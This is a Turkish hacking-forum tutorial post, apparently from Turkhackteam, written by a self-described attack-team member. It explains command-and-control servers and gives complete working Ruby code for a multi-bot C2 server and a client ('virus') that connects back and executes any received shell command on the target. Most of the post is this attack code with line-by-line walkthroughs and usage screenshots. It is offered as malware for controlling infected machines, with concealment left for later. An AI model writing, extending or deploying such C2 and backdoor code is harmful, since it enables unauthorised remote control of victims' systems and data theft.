C2 Sunucusu Kodlamak!

ATE$

Moderasyon Ekibi Çaylak
9 Kas 2021
356
159
Siber Şubede geziyor.

oqk18ir.png


lbn20fm.png
2q250vr.png


Merhabalar ben saldırı timlerinden Bunjo, bu konuda C2 sunucusunun ne olduğu ve nasıl kodlandığını anlatacağım.



C2 Sunucusu Nedir?

C2 (Command and Control) sunucusu, genellikle bir siber saldırı veya casus yazılım operasyonu sırasında kullanılan bir sunucu türüdür. Bu sunucu, saldırganın hedef sistem üzerinde kontrol sağlamasına ve yönetmesine olanak tanır. C2 sunucusu, saldırganın hedef sisteme komutlar göndermesini, veri toplamasını ve saldırı operasyonunu koordine etmesini sağlar.

C2 sunucuları, siber suç faaliyetlerinde ve casus yazılım operasyonlarında kullanılabilir. Bu sunucular genellikle uzaktan yönetilen kötü amaçlı yazılımların (malware) kontrolünü sağlamak amacıyla kullanılır. Saldırganlar, enfekte etikleri bilgisayarlarla iletişim kurarak veri çalmak, sistemleri kontrol etmek,

zararlı yazılım güncellemeleri sağlamak ve saldırılarını başlatmak için C2 sunucularını kullanabilirler. C2 sunucularının tanımlı bir protokol ve iletişim yöntemi vardır ve saldırganlar genellikle bu protokolü kullanarak enfekte etikleri sistemlerle iletişim kurarlar.

Bu, saldırganların etkileşimde bulunmak ve hedef sistemleri kontrol etmek için bir ara yüz sağlamalarını sağlar.

Bu tür saldırıları önlemek için güvenlik önlemleri, güncel antivirüs yazılımları ve ağ güvenliği çözümleri gibi önlemler alınabilir. Ayrıca, düzenli olarak sistem güvenliği taramaları ve güvenlik açıklarının kapatılması gibi güvenlik uygulamaları da kullanılabilir.



Kod Aşaması

Yazacağımız sunucu birden fazla bağlantı barındırabilecek ve bağlantılar arasında geçiş işlemi yapıp istediği komutu çalıştırabilecek. Hedef "virus.rb" dosyasını çalıştıracaktır.
Ben paralel programlama ile işlemlerimi yapacağım için JRuby derleyicisini kullanıyorum. JRuby İmpelementasyonu

- server.rb -

İlk olarak C2Server adlı bir sınıf oluşturuyoruz ve içerisine kütüphanelerimizi ekliyoruz. Kullanılacak IP adresi ve PORT değerlerinizi aşağıda bulunan değişkenlere atama yaparak ayarlayabilirsiniz. clients aldı bir hash oluşturuyoruz burada da bağlantılarımı anahtar-değer çifti halinde saklayacağız.

Ruby:
class C2Server
  def initialize
    require 'socket'
    require 'readline'
    require 'timeout'

    @clients = {}

    @LHOST = '0.0.0.0'
    @LPORT = 9091

TCPServer metoduna HOST ve PORT değişkenleri vererek bir sunucu başlatıyoruz.
Ruby:
begin
      @server_socket = TCPServer.new(@LHOST, @LPORT)
    rescue Exception => server_socket_error
      $stderr.puts("Error: #{server_socket_error}")
      exit(1)
    end
  end

Programın kapatılması ve yardım çıktısı için fonksiyonlar tanımlıyoruz.
Ruby:
  def close_program
    $stdout.puts("Program closed!")
    exit()
  end

  def print_help
    help_text = <<-'HELP_TEXT'
help: print help message.
show: show all bots.
select bot: select a bot via index.
exit: close program.
close bot: close a bot.
back: return main.
    HELP_TEXT

    $stdout.puts(help_text)
  end

Bağlantı kapatılması için gereken fonksiyon.
Ruby:
def close_bot
    show_bots()
    selection = Readline.readline("Close Bot (index): ").to_i - 1

    if selection >= 0 && selection < @clients.length
      selected_bot_ip = @clients.keys[selection]
      selected_bot_socket = @clients[selected_bot_ip]

      $stdout.puts("Closing Bot: #{selected_bot_ip}")
      selected_bot_socket.close
      @clients.delete(selected_bot_ip)
    else
      $stdout.puts("Invalid selection.")
    end
  end

show_bots() fonksiyonu çağrılır: Bu fonksiyon, bağlı olan botları (istemcileri) listeler ve kullanıcıya gösterir.

Readline.readline("Close Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu kapatma işlemi için seçim yapmasını bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.

if selection >= 0 && selection < @clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, bağlı olan bir botun kapatılması işlemine geçilir.

selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.

selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.

$stdout.puts("Closing Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun kapatılacağını belirten bir mesajı ekrana yazdırır.

selected_bot_socket.close: Seçilen botun soket bağlantısını kapatır.

@clients.delete(selected_bot_ip): Kapatılan botu clients hash tablosundan siler, böylece bu botun bilgileri artık sunucu tarafından tutulmaz.

else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.


Kullanıcı seçimleri için bir interaktif girdi fonksiyonu.

Ruby:
def user_interactive
    loop do
      @command = Readline.readline("Command: ").to_s

      case @command.downcase

      when "help"
        print_help()
      when "show"
        show_bots()
      when "select bot"
        select_bot()
      when "close bot"
        close_bot()
      when "exit"
        close_program()
      else
        $stdout.puts("Command not found.")
      end
    end
  end

loop do ifadesi, sonsuz bir döngü başlatır. Bu döngü, kullanıcının sürekli olarak komutlar girmesine olanak tanır.

command = Readline.readline("Command: ").to_s: Kullanıcıdan bir komut girmesini bekler ve bu komutu command değişkenine atar. Readline.readline fonksiyonu, kullanıcının terminalden girdiği bir satırı okur.

case command.downcase: Kullanıcının girdiği komutu küçük harfe çevirerek değerlendirir. Böylece büyük veya küçük harf farkı gözetmeksizin komutları kontrol edebilir.

when "help": Kullanıcının girdiği komut "help" ise, print_help() fonksiyonunu çağırarak yardım mesajını ekrana basar.

when "show": Kullanıcının girdiği komut "show" ise, show_bots() fonksiyonunu çağırarak bağlı olan botları listeler.

when "select bot": Kullanıcının girdiği komut "select bot" ise, select_bot() fonksiyonunu çağırarak bir botu seçmesine olanak tanır.

when "close bot": Kullanıcının girdiği komut "close bot" ise, close_bot() fonksiyonunu çağırarak bir bot bağlantısını kapatmasına izin verir.

when "exit": Kullanıcının girdiği komut "exit" ise, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.


else: Yukarıdaki durumlar dışında bir komut girildiğinde, $stdout.puts("Command not found.") ifadesiyle bilinmeyen bir komut girişi olduğunu belirten bir mesajı ekrana basar.

Bağlantı dinlemesi için gerekli fonksiyon

Ruby:
def listen
    $stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}")

    loop do
      begin
        @client = @server_socket.accept()
        Thread.new {handle_client(@client)}
        Thread.new {user_interactive}
      rescue Interrupt
        close_program()
      rescue Exception => accept_error
        $stderr.puts("Error: #{accept_error}")
      end
    end
  end

$stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}"): Kullanıcıya, sunucunun belirtilen IP adresi ve port numarasında bağlantıları dinlediğini belirten bir mesajı ekrana basar.

loop do: Sonsuz bir döngü başlatır. Bu döngü, sunucunun sürekli olarak bağlantılar beklemesini sağlar.

begin ... rescue: Döngü içinde bir hata olup olmadığını kontrol etmek için başka bir iç içe döngü başlatılır. Eğer bir hata olursa, rescue bloğu çalışır.

@client = @server_socket.accept(): TCPServer nesnesi üzerinden bağlantı bekler ve bir istemci bağlantısı oluşturulduğunda, bu bağlantıyı @client değişkenine atar.

Thread.new {handle_client(@client)}: Her bir yeni istemci bağlantısı için bir ayrı iş parçacığı (thread) oluşturur ve handle_client fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin aynı anda bağlı olmasına ve işlemlerin paralel olarak gerçekleşmesine olanak tanır.

Thread.new {user_interactive}: Her bir yeni istemci bağlantısı için ayrı bir iş parçacığı oluşturarak, user_interactive fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin bağlantısının kabul edildiği anda sunucu ile etkileşime geçebilmesini sağlar.

rescue Interrupt: Eğer kullanıcı bir "Interrupt" (genellikle Ctrl+C ile tetiklenir) yaparsa, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.

rescue Exception => accept_error: Bağlantı kabul sırasında bir hata olursa, hatayı yakalar ve hata mesajını $stderr üzerinden ekrana basar.

Bağlantı geldiği zaman gerekli anahtar-değer çiftlerini oluşturan fonksiyon.

Ruby:
def handle_client(client)
    ip_address = client.peeraddr[3]

    unless @clients.key?(ip_address)
      @clients[ip_address] = client
      $stdout.puts("New Bot: #{ip_address}")
    end
  end

Bağlı olan bağlantıların (ben burada bot olarak isimlendirdim) ekrana bastırıldığı fonksiyon.
Ruby:
def show_bots
    if @clients.empty?
      $stdout.puts("No bots connected.")
    else
      $stdout.puts("Connected Bots:")
      @clients.each_with_index do |(ip, _), index|
        $stdout.puts("#{index + 1}. #{ip}")
      end
    end
  end

İnteraktif fonksiyon içerisinde çağrılıp kullanıcıya önce botları ekrana bastırıp daha bir seçim yaptıran fonksiyon.
Ruby:
def select_bot
    show_bots()
    selection = Readline.readline("Select Bot (index): ").to_i - 1

    if selection >= 0 && selection < @clients.length
      selected_bot_ip = @clients.keys[selection]
      selected_bot_socket = @clients[selected_bot_ip]

      $stdout.puts("Selected Bot: #{selected_bot_ip}")

      loop do
        code_to_exec = Readline.readline("Execute: ").to_s

        if code_to_exec == "back"
          break
        else
          send_message(selected_bot_socket, code_to_exec)
        end
      end
    else
      $stdout.puts("Invalid selection.")
    end
  end

show_bots() fonksiyonu çağrılır: Bu fonksiyon, bağlı olan botları listeler ve kullanıcıya gösterir.

Readline.readline("Select Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu seçmesini bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.

if selection >= 0 && selection < clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, seçilen bir bot işlemini gerçekleştirmek üzere else bloğuna geçilir.

selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.

selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.

$stdout.puts("Selected Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun seçildiğini belirten bir mesajı ekrana yazdırır.

loop do: Sonsuz bir döngü başlatır. Bu döngü, kullanıcının seçilen bot ile etkileşimde bulunabilmesini sağlar.

code_to_exec = Readline.readline("Execute: ").to_s: Kullanıcıdan bir komut veya işlem girmesini bekler ve bu girdiyi code_to_exec değişkenine atar.

if code_to_exec == "back": Eğer kullanıcı "back" yazarsa, döngüden çıkar ve select_bot fonksiyonunun ana menüsüne geri döner.

else: Yukarıdaki durumlar dışında bir komut girildiğinde, send_message(selected_bot_socket, code_to_exec) ifadesiyle seçilen botun soket bağlantısına kullanıcının girdiği komutu iletilir.

else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.

Kullanıcının girdiği mesajı (kodu) cliente (bota)
yollayan fonksiyon.
Ruby:
def send_message(socket, message)
    begin
      response = socket.puts(message)
      Timeout.timeout(0.1) do
        while (line = socket.gets)
          $stdout.print(line)
          break if line.chomp.empty?
        end
      end
    rescue Timeout::Error

    rescue => send_error
      $stderr.puts("Error sending message: #{send_error}")
    end
  end
end

response = socket.puts(message): Belirtilen soket üzerinden puts fonksiyonu kullanılarak bir mesaj (komut veya veri) gönderilir. response değişkenine gönderilen mesajın durumu atanır.

Timeout.timeout(0.1) do ... end: Timeout modülü kullanılarak bir zaman sınırlaması oluşturulur. Bu blok içindeki işlemler, belirtilen süre boyunca çalışır ve süre aşılırsa Timeout::Error hatası oluşturulur.

while (line = socket.gets): Soket üzerinden botun yanıtını satır satır okumak için bir while döngüsü başlatılır.

$stdout.print(line): Botun yanıtı, standart çıktıya (ekrana) yazdırılır.

break if line.chomp.empty?: Eğer botun yanıtı boş bir satırsa (newline karakteri hariç), döngüden çıkılır.

rescue Timeout::Error: Eğer belirtilen süre içinde botun yanıtı alınamazsa, Timeout::Error hatası oluşur ve bu durumu işlemek için bir rescue bloğu başlatılır. Ancak, bu blokta herhangi bir işlem yapılmamış, yani hatanın sessizce geçilmiştir.


rescue => send_error: Gönderilen mesaj sırasında herhangi bir hata oluşursa, bu hata yakalanır ve hatanın mesajı standart hata çıktısına ($stderr) yazdırılır.

Banner (reklam gibi düşünebilirsiniz) fonksiyonu ve sınıfın tanımlanması.

Ruby:
def banner
  banner_text = <<-'BANNER_TEXT'
        +-
                 *       +
           '                  |  
       ()    .-.,="``"=.    - o -  
             '=/_ BUNJO  \     |
          *   |  '=._    |              
               \  C2 `=./`,        '
            .   '=.__.=' `='      *
   +                         +
        O      *        '       .

  BANNER_TEXT

  $stdout.puts(banner_text)
end

banner()
c2_main = C2Server.new()
c2_main.listen()

server.rb için tüm kod:
Ruby:
class C2Server
  def initialize
    require 'socket'
    require 'readline'
    require 'timeout'

    @clients = {}

    @LHOST = '0.0.0.0'
    @LPORT = 9091

    begin
      @server_socket = TCPServer.new(@LHOST, @LPORT)
    rescue Exception => server_socket_error
      $stderr.puts("Error: #{server_socket_error}")
      exit(1)
    end
  end

  def close_program
    $stdout.puts("Program closed!")
    exit()
  end

  def print_help
    help_text = <<-'HELP_TEXT'
help: print help message.
show: show all bots.
select bot: select a bot via index.
exit: close program.
close bot: close a bot.
back: return main.
    HELP_TEXT

    $stdout.puts(help_text)
  end

  def close_bot
    show_bots()
    selection = Readline.readline("Close Bot (index): ").to_i - 1

    if selection >= 0 && selection < @clients.length
      selected_bot_ip = @clients.keys[selection]
      selected_bot_socket = @clients[selected_bot_ip]

      $stdout.puts("Closing Bot: #{selected_bot_ip}")
      selected_bot_socket.close
      @clients.delete(selected_bot_ip)
    else
      $stdout.puts("Invalid selection.")
    end
  end

  def user_interactive
    loop do
      @command = Readline.readline("Command: ").to_s

      case @command.downcase

      when "help"
        print_help()
      when "show"
        show_bots()
      when "select bot"
        select_bot()
      when "close bot"
        close_bot()
      when "exit"
        close_program()
      else
        $stdout.puts("Command not found.")
      end
    end
  end

  def listen
    $stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}")

    loop do
      begin
        @client = @server_socket.accept()
        Thread.new {handle_client(@client)}
        Thread.new {user_interactive}
      rescue Interrupt
        close_program()
      rescue Exception => accept_error
        $stderr.puts("Error: #{accept_error}")
      end
    end
  end

  def handle_client(client)
    ip_address = client.peeraddr[3]

    unless @clients.key?(ip_address)
      @clients[ip_address] = client
      $stdout.puts("New Bot: #{ip_address}")
    end
  end

  def show_bots
    if @clients.empty?
      $stdout.puts("No bots connected.")
    else
      $stdout.puts("Connected Bots:")
      @clients.each_with_index do |(ip, _), index|
        $stdout.puts("#{index + 1}. #{ip}")
      end
    end
  end

  def select_bot
    show_bots()
    selection = Readline.readline("Select Bot (index): ").to_i - 1

    if selection >= 0 && selection < @clients.length
      selected_bot_ip = @clients.keys[selection]
      selected_bot_socket = @clients[selected_bot_ip]

      $stdout.puts("Selected Bot: #{selected_bot_ip}")

      loop do
        code_to_exec = Readline.readline("Execute: ").to_s

        if code_to_exec == "back"
          break
        else
          send_message(selected_bot_socket, code_to_exec)
        end
      end
    else
      $stdout.puts("Invalid selection.")
    end
  end

  def send_message(socket, message)
    begin
      response = socket.puts(message)
      Timeout.timeout(0.1) do
        while (line = socket.gets)
          $stdout.print(line)
          break if line.chomp.empty?
        end
      end
    rescue Timeout::Error

    rescue => send_error
      $stderr.puts("Error sending message: #{send_error}")
    end
  end
end

def banner
  banner_text = <<-'BANNER_TEXT'
        +-
                 *       +
           '                  |  
       ()    .-.,="``"=.    - o -  
             '=/_ BUNJO  \     |
          *   |  '=._    |              
               \  C2 `=./`,        '
            .   '=.__.=' `='      *
   +                         +
        O      *        '       .

  BANNER_TEXT

  $stdout.puts(banner_text)
end

banner()
c2_main = C2Server.new()
c2_main.listen()

Şimdi sıra client kısmında.

- client.rb -

C2Client adlı bir sınıf oluşturuyoruz.

Ruby:
class C2Client
  def initialize
    require 'socket'
    require 'open3'
  end

Sonsuz döngü içerisinde sunucudan komutu alacak fonksiyon.
Ruby:
def get_command
    loop do
      command = @client_socket.gets
      execute_command(command)
    end
  end

Gelen komutun sistemde çalıştırılıp çıktının sunucuya geri yollanması.
Ruby:
def execute_command(command)
    begin
      stdin, stdout, stderr = Open3.popen3(command)
      result = stdout.read

      @client_socket.puts(result)
    rescue => e
      exit(0)
    end
  end

  def main
    begin
      @client_socket = TCPSocket.new('localhost', 9091)
      get_command
    rescue

    end
  end
end

client = C2Client.new()
client.main()

client.rb için tüm kod:
Ruby:
class C2Client
  def initialize
    require 'socket'
    require 'open3'
  end

  def get_command
    loop do
      command = @client_socket.gets
      execute_command(command)
    end
  end

  def execute_command(command)
    begin
      stdin, stdout, stderr = Open3.popen3(command)
      result = stdout.read

      @client_socket.puts(result)
    rescue => e
      exit(0)
    end
  end

  def main
    begin
      @client_socket = TCPSocket.new('localhost', 9091)
      get_command
    rescue

    end
  end
end

client = C2Client.new()
client.main()

Kullanım Örneği:

sunucunun başlatılması


b1l0ptk.png


hedefin sunucuya bağlanması. ve sunucu içerisinde hedefin seçilmesi.

889ffly.png


Komut çalıştırmak.

n9qdz2a.png







Kodu saklama gibi kısımlara girmeden temel olarak basit bir sunucunun nasıl yazıldığını anlatmak istedim.

Okuyan herkese teşekkür ederim.
Github:
Elinize emeğinize sağlık. Başarılarınızın devamını dilerim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.